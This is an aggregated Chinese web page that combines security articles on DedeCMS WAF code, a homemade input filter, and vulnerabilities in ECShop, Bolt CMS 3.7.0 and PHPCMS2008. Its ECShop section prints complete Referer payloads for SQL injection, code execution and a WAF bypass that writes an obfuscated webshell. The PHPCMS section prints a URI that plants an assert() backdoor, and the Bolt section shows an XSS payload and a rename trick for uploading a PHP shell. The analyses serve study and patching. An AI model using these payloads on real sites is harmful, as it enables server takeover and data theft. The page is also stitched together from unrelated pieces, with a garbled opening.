在本文中,我们将详细介绍dedecms防XSS,sql注射,代码执行,文件高危漏洞的各个方面,并为您提供关于防xss注入的相关解答,同时,我们也将为您带来关于"完美"的防XSS防SQL注入的代码喷、2
在本文中,我们将详细介绍dedecms防XSS,sql注射,代码执行,文件高危漏洞的各个方面,并为您提供关于防xss注入的相关解答,同时,我们也将为您带来关于"完美"的防XSS 防SQL注入的代码 喷、20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞、bolt cms V3.7.0 xss和远程代码执行漏洞、CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警的有用知识。
本文目录一览:- dedecms防XSS,sql注射,代码执行,文件高危漏洞(防xss注入)
- "完美"的防XSS 防SQL注入的代码 喷
- 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞
- bolt cms V3.7.0 xss和远程代码执行漏洞
- CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警
dedecms防XSS,sql注射,代码执行,文件高危漏洞(防xss注入)
织梦CMS防XSS,sql注射,代码执行,文件高危漏洞 ,*近因为织梦CMS的漏洞,不少朋友用织梦CMS建设的网站都被黑掉了。
特意来分享一下源码无忧在用的一个代码,本代码可以有效防护XSS,sql注射,代码执行,文件包含等多种高危漏洞。
使用办法:
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
*种:在所需要防护的页面加入代码就可以做到页面防注入、跨站
require_once('waf.php');
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php,来调用本代码。
常用php系统添加文件:
PH电脑MS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
第二种办法:
在每个文件*前加上代码具体做法是:在php.ini中找到 auto_prepent_file并修改为:
Automatically add files before or after any PHP document;
auto_prepend_file = waf.php路径;
本文章网址:http://www.ppssdd.com/code/25212.html。转载请保留出处,谢谢合作!"完美"的防XSS 防SQL注入的代码 喷
"完美"的防xss 防sql注入的代码 喷
哈哈,之前发过一段了,再来一段,单位认为这个项目中这两个代码很牛,可以防止一切代码类的攻击,在此发布出来。求破解,大家加紧破,
function gjj($str) { $farr = array( "/\\s+/", "/]*?)>/isU", "/(]*)on[a-zA-Z]+\s*=([^>]*>)/isU", ); $str = preg_replace($farr,"",$str); return addslashes($str); } function hg_input_bb($array) { if (is_array($array)) { foreach($array AS $k => $v) { $array[$k] = hg_input_bb($v); } } else { $array = gjj($array); } return $array; } $_REQUEST = hg_input_bb($_REQUEST); $_GET = hg_input_bb($_GET); $_POST = hg_input_bb($_POST);
以上就是"完美"的防XSS 防SQL注入的代码 喷的内容。
20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞
Ecshop 2.x/3.x SQL注入/任意代码执行漏洞
影响版本:
Ecshop 2.x
Ecshop 3.x-3.6.0
漏洞分析:
该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。
值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。
注:以下代码分析基于ECShop 2.7.3
SQL注入漏洞分析:
首先我们看一下漏洞的起源点 user.php ,在用户login这里有一段代码:
/* 用户登录界面 */
elseif ($action == ''login'')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS[''_SERVER''][''HTTP_REFERER'']))
{
$back_act = strpos($GLOBALS[''_SERVER''][''HTTP_REFERER''], ''user.php'') ? ''./index.php'' : $GLOBALS[''_SERVER''][''HTTP_REFERER''];
}
else
{
$back_act = ''user.php'';
}
}
$captcha = intval($_CFG[''captcha'']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION[''login_fail''] > 2)) && gd_version() > 0)
{
$GLOBALS[''smarty'']->assign(''enabled_captcha'', 1);
$GLOBALS[''smarty'']->assign(''rand'', mt_rand());
}
$smarty->assign(''back_act'', $back_act);
$smarty->display(''user_passport.dwt'');
}
Ecshop使用了php模版引擎smarty,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。
smarty运行时,会读取模版文件,将模版文件中的占位符替换成assign()函数传递过来的参数值,并输出一个编译处理后的php文件,交由服务器运行。
可以看到 $back_act 是从 $GLOBALS[''_SERVER''][''HTTP_REFERER''] 获取到的,HTTP_REFERER 是外部可控的参数,这也是我们注入payload的源头。
在模版执行时,assign()把 $back_act 赋值给模版变量 back_act ,下面我们跟进这个模版变量到 /includes/cls_template.php :
/**
* 注册变量
*
* @access public
* @param mix $tpl_var
* @param mix $value
*
* @return void
*/
function assign($tpl_var, $value = '''')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '''')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '''')
{
$this->_var[$tpl_var] = $value;
}
}
}
从上面的assign()函数,我们看出 $tpl_var 接受我们传过来的参数 $back_act ,但不是个数组,所以 $this ->_var[$back_act] = $back_act ,而后调用display()函数来显示模板,在includes/init.php文件中创建了Smarty对象cls_template来处理模版文件,对应的文件是 includes/cla_template.php:
function display($filename, $cache_id = '''')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);
$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);
if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('''', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;
echo $out;
}
从user.php调用display()函数,传递进来的$filename是user_passport.dwt,从函数来看,首先会调用 $this->fetch 来处理 user_passport.dwt 模板文件,fetch函数中会用 $this->make_compiled 来编译模板。user_passport.dwt其中一段如下:
<td align="left">
<input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="" class="us_Submit" />
make_compiled 会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量 $back_act 传递进去了,解析完变量之后返回到display()函数中。此时$out是解析变量后的html内容,后面的代码是判断 $this->_echash 是否在 $out 中,如果存在的话,使用 $this->_echash 来分割内容,得到$k然后交给insert_mod处理,我们来查找 _echash 的值:
发现 _echash 是个默认的值,不是随机生成的,所以 $val 内容可随意控制。跟进$this->insert_mod:
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode(''|'', $name);
$para = unserialize($para);
$fun = ''insert_'' . $fun;
return $fun($para);
}
$val传递进来,先用 | 分割,得到 $fun 和 $para,$para进行反序列操作,$fun 和 insert_ 拼接,最后动态调用 $fun($para),函数名部分可控,参数完全可控。接下来就是寻找以 insert_ 开头的可利用的函数了,在 /includes/lib_insert.php 有一个 insert_ads() 函数,正好满足要求。看下 insert_ads() 函数:
function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr[''num'']) && $arr[''num''] != 1)
{
$sql = ''SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, '' .
''p.ad_height, p.position_style, RAND() AS rnd '' .
''FROM '' . $GLOBALS[''ecs'']->table(''ad'') . '' AS a ''.
''LEFT JOIN '' . $GLOBALS[''ecs'']->table(''ad_position'') . '' AS p ON a.position_id = p.position_id '' .
"WHERE enabled = 1 AND start_time <= ''" . $time . "'' AND end_time >= ''" . $time . "'' ".
"AND a.position_id = ''" . $arr[''id''] . "'' " .
''ORDER BY rnd LIMIT '' . $arr[''num''];
$res = $GLOBALS[''db'']->GetAll($sql);
}
else
{
if ($static_res[$arr[''id'']] === NULL)
{
$sql = ''SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ''.
''p.ad_height, p.position_style, RAND() AS rnd '' .
''FROM '' . $GLOBALS[''ecs'']->table(''ad'') . '' AS a ''.
''LEFT JOIN '' . $GLOBALS[''ecs'']->table(''ad_position'') . '' AS p ON a.position_id = p.position_id '' .
"WHERE enabled = 1 AND a.position_id = ''" . $arr[''id''] .
"'' AND start_time <= ''" . $time . "'' AND end_time >= ''" . $time . "'' " .
''ORDER BY rnd LIMIT 1'';
$static_res[$arr[''id'']] = $GLOBALS[''db'']->GetAll($sql);
}
$res = $static_res[$arr[''id'']];
}
$ads = array();
$position_style = '''';
$arr 是可控的,并且 $arr[''id''] 跟 $arr[''num''] 会拼接到SQL语句中,这就造成了SQL注入漏洞。
根据上面的流程,可以构造出如下形式的payload
_echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))
由于通过上述分析,$arr[''id''] 跟 $arr[''num''] 都会拼接到SQL语句中,所以可以任意构造一个参数为sqlpayload,后面_echash 是默认的,fun是拼接到函数insert_后的名字,这里是insert_ads(),所以fun就是ads,关键是后面payload反序列化字符串如何写,网上比较早之前出现的payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
我们把payload还原到语句中:
可以看到payload顺利添加到sql语句中,来看这个payload序列化语句:
a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1
用在线网站(https://1024tools.com/unserialize)反序列化查看:
Array
(
[num] => 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
[id] => 1
)
demo环境测试:
这是在 $arr[''num''] 处拼接sql语句,在 $arr[''id''] 处同样可以构造payload:
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:58:"1'' and updatexml(1,make_set(3,''~'',(select database())),1)#";
我们把payload还原到语句中:
demo环境测试:
构造payload爆出表名:
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:133:"1'' and updatexml(1,make_set(3,''~'',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#";}
demo环境测试:
当然,同时利用 $arr[''id''] 和 $arr[''num''] 两个参数,引入 /**/ 将 ORDER BY 语句注释掉也是可以的,构造payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:4:"'' /*";s:3:"num";s:132:"*/ and updatexml(1,make_set(3,''~'',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)";}
我们把payload还原到语句中:
demo环境测试:
只要仔细分析源代码,能成功闭合单引号,注释后面多余的内容,payload千千万,我这里只用sql爆错注入的updatexml()方法,其他均可利用!
代码执行漏洞分析:
继续看 insert_ads() 函数:
$position_style = '''';
foreach ($res AS $row)
{
if ($row[''position_id''] != $arr[''id''])
{
continue;
}
$position_style = $row[''position_style''];
switch ($row[''media_type''])
{
......
$position_style = ''str:'' . $position_style;
$need_cache = $GLOBALS[''smarty'']->caching;
$GLOBALS[''smarty'']->caching = false;
$GLOBALS[''smarty'']->assign(''ads'', $ads);
$val = $GLOBALS[''smarty'']->fetch($position_style);
$GLOBALS[''smarty'']->caching = $need_cache;
return $val;
可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用 display() 函数,然后调用fetch的时候传入的参数是 user_passport.dwt,而在此处传入的参数是 $position_style,向上溯源,发现是 $row[''position_style''] 赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是 $position_style可控。要到 $position_style = $row[''position_style''];还有一个条件,就是 $row[''position_id''] 要等于 $arr[''id''] ,查询结果可控,arr[''id'']同样可控。之后 $position_style会拼接 ''str:'' 传入fetch函数,跟进fetch方法:
/**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '''')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
if (strncmp($filename,''str:'', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
......
因为之前拼接 ''str:''了,所以strncmp($filename,''str:'', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进
/**
* 处理字符串函数
*
* @access public
* @param string $source
*
* @return sring
*/
function fetch_str($source)
{
if (!defined(''ECS_ADMIN''))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
if(preg_match_all(''~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\'']?php[\"\'']?)~is'', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],''%%%SMARTYSP''.$curr_sp.''%%%'',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace(''%%%SMARTYSP''.$curr_sp.''%%%'', ''<?php echo \''''.str_replace("''", "\''", $sp_match[1][$curr_sp]).''\''; ?>''."\n", $source);
}
}
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select(''\\1'');", $source);
}
第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则:
preg_replace("/{([^\}\{\n]*)}/e", "\$this->select(''\\1'');", $source)
这个正则是将捕获到的值交于 $this-select() 函数处理。例如,$source的值是 abc123{hello}456efg ,正则捕获到的就是 hello,然后就会调用 $this-select("hello")。
跟进select函数:
/**
* 处理{}标签
*
* @access public
* @param string $tag
*
* @return sring
*/
function select($tag)
{
$tag = stripslashes(trim($tag));
if (empty($tag))
{
return ''{}'';
}
elseif ($tag{0} == ''*'' && substr($tag, -1) == ''*'') // 注释部分
{
return '''';
}
elseif ($tag{0} == ''$'') // 变量
{
// if(strpos($tag,"''") || strpos($tag,"]"))
// {
// return '''';
// }
return ''<?php echo '' . $this->get_val(substr($tag, 1)) . ''; ?>'';
}
......
当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var
/**
* 处理smarty标签中的变量标签
*
* @access public
* @param string $val
*
* @return bool
*/
function get_val($val)
{
if (strrpos($val, ''['') !== false)
{
$val = preg_replace("/\[([^\[\]]*)\]/eis", "''.''.str_replace(''$'',''\$'',''\\1'')", $val);
}
if (strrpos($val, ''|'') !== false)
{
$moddb = explode(''|'', $val);
$val = array_shift($moddb);
}
if (empty($val))
{
return '''';
}
if (strpos($val, ''.$'') !== false)
{
$all = explode(''.$'', $val);
foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : ''[''. $this->make_var($val) . '']'';
}
$p = implode('''', $all);
}
else
{
$p = $this->make_var($val);
}
当传入的变量没有.$时,调用$this->make_var,跟进make_var:
/**
* 处理去掉$的字符串
*
* @access public
* @param string $val
*
* @return bool
*/
function make_var($val)
{
if (strrpos($val, ''.'') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = ''$this->_var[\'''' . $val . ''\'']'';
}
else
{
.....
在这里结合select函数里面的语句来看,<?php echo $this->_var[''$val''];?>,要成功执行代码的话,$val必须要把 ['' 闭合,所以payload构造,从下往上构造,$val为 abc''];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是 $,所以payload变成了 $abc''];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc''];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为 {$abc''];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。
接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row[''position_id''] 和 $arr[''id''] 要相等,$row[''position_id'']是第二列的结果,$position_style是第九列的结果。$arr[''id'']传入'' /* , $arr[''num'']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -
0x27202f2a是 '' /* 的16进制值,也就是$row[''position_id'']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d 是上面构造的php代码 {$abc''];echo phpinfo/**/();//} 的16进制值,也就是$position_style。
结合之前的SQL漏洞的payload构造,所以最终的payload的是:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"'' /*";}554fcae493e564ee0dc75bdf2ebf94ca
demo环境测试:
可以看到成功执行了 phpinfo();
ECShop 3.x 绕过
上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF( includes/safety.php ),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。
下面的测试版本为ECshop3.0,3.x版本的echash是 45ea207d7a2b68c49582d2d22adf953a 。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr[''id''] 和 $arr[''num''],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用 /**/ 注释掉,这样就不会触发WAF。
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:286:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:9:"'' union/*";}45ea207d7a2b68c49582d2d22adf953aadsa
参考链接:
https://paper.seebug.org/695/
https://xz.aliyun.com/t/2725
https://cloud.tencent.com/developer/news/310292
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
bolt cms V3.7.0 xss和远程代码执行漏洞
导航:
1. 漏洞环境搭建
2. 漏洞分析
3. 漏洞测试
3.1. xss
3.2. 远程代码执行
4. 影响版本
5. 防御方案
1. 漏洞环境搭建
github上下载对应版本,这里下载3.7.0.
https://github.com/bolt/bolt/releases
解压后需要重命名以下文件:
mv .bolt.yml.dist .bolt.yml
mv composer.json.dist composer.json
mv composer.lock.dist composer.lock
mv src/Site/CustomisationExtension.php.dist src/Site/CustomisationExtension.php
为了快速搭建这里使用phpstudy,开启apache和mysql
点击网站,创建站点,选择好php版本并创建数据库,记住域名、数据库名称、用户名和密码
配置数据库app/config/config.yml。填好数据库名称、用户名和密码然后保存
然后浏览器访问http://上面自己设置的域名/public即可到安装页面,第一次需要设置管理员账号和密码
http://上面自己设置的域名/public
http://上面自己设置的域名/public/bolt # 管理地址
2. 漏洞分析
1)XSS成因分析
该漏洞存在于vendor/bolt/bolt/src/Controller/Backend/Users.php。有两个变量$user和$userEntity用于存储和使用以显示此代码中的用户数据。$userEntity在传递给$form->isValid(),这表明$user有未编码的输入和$userEntity是具有编码的输入。也就是说使用$user未对用户输入编码,使用$userEntity可以对用户输入编码。
下面代码使用
$user->getDisplayName()而不是$userEntity->getDisplayName(),显示未编码的用户输入,所以导致XSS。
switch ($action) {
case ''disable'':
if ($this->users()->setEnabled($id, false)) {
$this->app[''logger.system'']->info("Disabled user
''{$user->getDisplayname()}''.", [''event'' => ''security'']);
$this->flashes()->info(Trans::__(''general.phrase.user-disabled'', [''%s''
=> $user->getDisplayname()]));
} else {
$this->flashes()->info(Trans::__(''general.phrase.user-failed-disabled'',
[''%s'' => $user->getDisplayname()]));
}
break;
case ''enable'':
if ($this->users()->setEnabled($id, true)) {
$this->app[''logger.system'']->info("Enabled user
''{$user->getDisplayname()}''.", [''event'' => ''security'']);
$this->flashes()->info(Trans::__(''general.phrase.user-enabled'', [''%s''
=> $user->getDisplayname()]));
} else {
$this->flashes()->info(Trans::__(''general.phrase.user-failed-enable'',
[''%s'' => $user->getDisplayname()]));
}
break;
case ''delete'':
if ($this->isCsrfTokenValid() && $this->users()->deleteUser($id)) {
$this->app[''logger.system'']->info("Deleted user
''{$user->getDisplayname()}''.", [''event'' => ''security'']);
$this->flashes()->info(Trans::__(''general.phrase.user-deleted'', [''%s''
=> $user->getDisplayname()]));
} else {
$this->flashes()->info(Trans::__(''general.phrase.user-failed-delete'',
[''%s'' => $user->getDisplayname()]));
}
break;
default:
$this->flashes()->error(Trans::__(''general.phrase.no-such-action-for-user'',
[''%s'' => $user->getDisplayname()]));
}
2)远程代码执行成因分析
public function rename($path, $newPath)
{
$path = $this->normalizePath($path);
$newPath = $this->normalizePath($newPath);
$this->assertPresent($path);
$this->assertAbsent($newPath);
$this->doRename($path, $newPath);
}
normalizePath()函数在第823行acts的同一文件中定义作为Flysystem的normalizePath()函数的包装器。已经习惯了
获取文件的“真实”路径。这用于验证文件位置等等。
例如,./somedir/../text.txt == ./text.txt == text.txt
所以''./text.txt'' 传递给此函数,它返回 ''text.txt''
所以,从文件名 ''backdoor.php/.'' 将其传递给normalizePath()它返回 ''backdoor.php'' ,这正是我们所需要的。
所以数据流看起来,首先是值''backdoor.php/.'' 传递给validateFileExtension()返回NULL,因为后面没有文本最后一个点。所以,extesion过滤器被绕过了。接下来,相同的值是传递给normalizePath(),它删除最后一个“/.”,因为它看起来像它是指向当前目录的路径。最后,文件被重命名为''backdoor.php''
3. 漏洞测试
3.1. xss
构造payload
xxxxxxxxxx POST /preview/page HTTP/1.1Host: localhost contenttype=pages&title=title&slug=testpage1&teaser=teaser1&body=<script>alert(1)</script>&id=151
3.2. 远程代码执行
创建一个文件,然后编辑这个文件,写入木马保存。
然后将shell.html重命名危shell.html.php\.
即可变成shell.html.php
访问该文件即可执行命令
4. 影响版本
Bolt CMS<= 3.7.0
5. 防御方案
1. XSS
使用具有编码值的变量来显示用户信息。使用$userEntity而不是$user
2. RCE
重命名时更改数据流。先把数据传过来normalizePath()数据,然后通过validateFileExtension()。这样,验证函数验证最终值。
相关实验:WordPress social-warfare插件XSS和RCE漏洞
通过实验了解WordPresssocial-warfare插件XSS和RCE漏洞的成因和利用方法,学会在无需身份验证的情况下实现对网站和服务器的控制。
温馨提示:8月10日-8月14日,课堂用户购课使用京东白条支付将享受【立减60优惠】。
CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警
摘要:11月4日,阿里云安全首次捕获PHPCMS 2008版本的/type.php远程GetShell 0day利用攻击,攻击者可以利用该漏洞远程植入webshell,导致文件篡改、数据泄漏、服务器被远程控制等一系列严重问题。建议受影响用户尽快升级到最新版本修复。
———————
PHPCMS网站内容管理系统是国内主流CMS系统之一,同时也是一个开源的PHP开发框架。
PHPCMS最早于2008年推出,最新版已出到v9.6.3,但由于稳定、灵活、开源的特性,时至今日,PHPCMS2008版本仍被许多网站所使用。
漏洞细节
当攻击者向安装有PHPCMS 2008的网站发送uri为如下文本的payload
/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
那么@unlink(_FILE_);assert($_POST[1]);
这句恶意php指令将被写入网站的/cache_template/rss.tpl.php文件。
漏洞原理
该漏洞源于PHPCMS 2008源码中的/type.php文件。该文件包含如下代码:
if(empty($template)) $template = ''type'';
...
include template(''phpcms'', $template);
这里template变量是用户能够通过传入参数控制的,同时可以看到该变量之后会被传入template()方法。而template()方法在/include/global.func.php文件中定义,包含如下代码:
template_compile($module, $template, $istag);
不难看出,这里会继续调用/include/template.func.php中的template_compile():
function template_compile($module, $template, $istag = 0)
{
...
$compiledtplfile = TPL_CACHEPATH.$module.''_''.$template.''.tpl.php'';
$content = ($istag || substr($template, 0, 4) == ''tag_'') ? ''<?php function _tag_''.$module.''_''.$template.''($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>''.template_parse($content, 1).''<?php } ?>'' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
...
}
在这个方法中,template变量同时被用于compiledtplfile变量中文件路径的生成,和content变量中文件内容的生成。
而前文所述的攻击payload将template变量被设置为如下的值
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
所以在template_compile()方法中,调用file_put_contents()函数时的第一个参数就被写成了data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php
,这将被php解析成data/cache_template/rss.tpl.php
。
最终,@unlink(_FILE_);assert($_POST[1]);
将被写入该文件。
影响范围
虽然距离PHPCMS2008版本的推出已经10年,但仍有不少网站正在使用PHPCMS2008,包括政府、企业的网站;根据Fofa网络空间安全搜索引擎的全网精确搜索结果显示,还有近200个使用PHPCMS2008版本的网站;而如果使用模糊匹配对网站进行识别,匹配结果更达上万个。
通过利用该漏洞,攻击者在向路径可控的文件写入恶意脚本代码后,后续将能够向该文件发送webshell指令,在服务器上执行任意代码,因此该代码注入漏洞的影响较大。
安全建议
手动修复
临时解决可以在/type.php文件中对template变量进行过滤,避免用户输入的含有"("、"{"等符号的内容混入,并被当做路径和脚本内容处理。
但由于PHPCMS2008版本过旧,用户应尽量升级到最新版本的PHPCMS,才能够更好地保障安全。
安全加固
•云防火墙已支持对该类漏洞的入侵防御,开启云防火墙IPS拦截模式和虚拟补丁功能,用户即使不自行进行修复,也依然能够进行防御和拦截。
•购买安全管家服务,您将能够在阿里云安全专家指导下进行安全加固及优化,避免系统受到该漏洞及后续其他漏洞影响。
本文作者:阿里云安全团队悟泛
原文链接
本文为云栖社区原创内容,未经允许不得转载。
今天的关于dedecms防XSS,sql注射,代码执行,文件高危漏洞和防xss注入的分享已经结束,谢谢您的关注,如果想了解更多关于"完美"的防XSS 防SQL注入的代码 喷、20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞、bolt cms V3.7.0 xss和远程代码执行漏洞、CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警的相关知识,请在本站进行查询。
本文标签: